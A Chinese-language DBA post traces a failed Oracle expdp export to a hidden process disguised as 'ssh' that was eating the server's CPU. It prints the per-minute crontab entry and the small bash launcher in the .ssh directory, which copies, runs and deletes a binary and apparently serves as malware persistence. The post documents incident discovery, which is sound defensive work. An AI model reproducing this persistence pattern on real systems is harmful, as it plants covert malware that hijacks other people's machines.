近期在给开发同事导数据库遇到的问题:
..
Processing object type SCHEMA_EXPORT/TABLE/TABLE_DATA
Total estimation using BLOCKS method: 1.128 GB
Processing object type SCHEMA_EXPORT/USER
Processing object type SCHEMA_EXPORT/SYSTEM_GRANT
Processing object type SCHEMA_EXPORT/ROLE_GRANT
Processing object type SCHEMA_EXPORT/DEFAULT_ROLE
Processing object type SCHEMA_EXPORT/PRE_SCHEMA/PROCACT_SCHEMA
Processing object type SCHEMA_EXPORT/SYNONYM/SYNONYM
Processing object type SCHEMA_EXPORT/DB_LINK
Processing object type SCHEMA_EXPORT/SEQUENCE/SEQUENCE
Processing object type SCHEMA_EXPORT/TABLE/TABLE
Processing object type SCHEMA_EXPORT/TABLE/COMMENT
Processing object type SCHEMA_EXPORT/PACKAGE/PACKAGE_SPEC
Processing object type SCHEMA_EXPORT/FUNCTION/FUNCTION
Processing object type SCHEMA_EXPORT/PROCEDURE/PROCEDURE
Processing object type SCHEMA_EXPORT/PACKAGE/COMPILE_PACKAGE/PACKAGE_SPEC/ALTER_PACKAGE_SPEC
Processing object type SCHEMA_EXPORT/FUNCTION/ALTER_FUNCTION
Processing object type SCHEMA_EXPORT/PROCEDURE/ALTER_PROCEDURE
Processing object type SCHEMA_EXPORT/TABLE/INDEX/INDEX
Job "SYSTEM"."SYS_EXPORT_SCHEMA_11" stopped due to fatal error at 15:56:24You have mail in /var/spool/mail/oracle
...
查找alert没发现问题;
查看各种与内存和job相关的参数都正常。
于是关注点落到了导出资源的占用上:
top查看系统资源,有一个进程ssh占用CPU显示586%,于是查找这个进程,发现其在crontab中,内容如下:
[oracle@node4 ~]$ crontab -l
* * * * * /home/oracle/.ssh/ssh
[oracle@node4 ~]$ more /home/oracle/.ssh/ssh
#!/bin/bash
cd -- /home/oracle/.ssh
mkdir -- .ssh
cp -f -- x86_64 .ssh/ssh
./.ssh/ssh -c -d
rm -rf .ssh
[oracle@node4 ~]$
[oracle@node4 ~]$ cd /home/oracle/.ssh
[oracle@node4 .ssh]$ ls
i686 known_hosts ssh x86_64
[oracle@node4 .ssh]$ more x86_64******** x86_64: Not a text file ********
[oracle@node4 .ssh]$ ls -l
total 2044
-rwxr-xr-x 1 oracle oinstall 1087356 Jan 12 10:00 i686
-rwxr-xr-x 1 oracle oinstall 393 Jan 15 09:25 known_hosts
-rwxr-xr-x 1 oracle oinstall 104 Jan 15 09:27 ssh
-rwxr-xr-x 1 oracle oinstall 993596 Jan 9 04:27 x86_64
[oracle@node4 .ssh]$
尝试将进程杀掉后,导出正常。
那么留给我以下思考:
(1)这个脚本是要干什么?
(2)这是谁干的?目的是什么?
(3)如果不是这个错误导致的,我们又如何追踪expdp异常中止无提示信息的这种情况?